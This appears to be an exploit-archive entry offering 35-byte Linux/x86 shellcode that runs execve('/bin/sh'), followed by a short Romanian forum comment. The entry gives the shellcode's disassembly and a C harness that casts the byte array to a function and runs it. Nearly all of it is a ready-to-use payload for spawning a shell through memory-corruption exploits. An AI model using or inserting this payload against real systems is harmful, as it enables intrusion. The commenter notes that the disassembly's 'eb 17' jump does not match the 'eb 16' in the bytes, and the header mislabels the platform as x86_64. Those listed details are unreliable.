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Linux/x86 execve "/bin/sh" - shellcode (35 bytes)

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/*
; Title: Linux/x86 execve "/bin/sh" - shellcode 35 bytes
; Platform: linux/x86_64
; Date: 2014-06-26
; Author: Mohammad Reza Espargham
; Simple ShellCode

section .text:

08048060 <_start>:
8048060: eb 17 jmp 8048079

08048062 :
8048062: 5e pop %esi
8048063: 31 d2 xor %edx,%edx
8048065: 52 push %edx
8048066: 56 push %esi
8048067: 89 e1 mov %esp,%ecx
8048069: 89 f3 mov %esi,%ebx
804806b: 31 c0 xor %eax,%eax
804806d: b0 0b mov $0xb,%al
804806f: cd 80 int $0x80
8048071: 31 db xor %ebx,%ebx
8048073: 31 c0 xor %eax,%eax
8048075: 40 inc %eax
8048076: cd 80 int $0x80

08048078 :
8048078: e8 e5 ff ff ff call 8048062
804807d: 2f das
804807e: 62 69 6e bound %ebp,0x6e(%ecx)
8048081: 2f das
8048082: 73 68 jae 80480ec
*/


#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

#define PAGE_SIZE 4096U


char code[] = {
"\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd"
"\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68"
};

int
main() {

printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();

return 0;
}

Source

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E relativ.

Opcode-ul "eb 17" == "sari 0x17 bytes"

8048062 (adresa urmatoare) + 0x17 == 8048079

E ciudat ca e "jmp 8048079" si nu "jmp 08048078" pentru ca la "08048078" se afla acel call care pune pe stack "/bin/sh".

A, pula. Daca te uiti in shellcode-ul din programul C: \xeb\x16\x5e\x31

Este "eb 16" adica "jmp 08048078".

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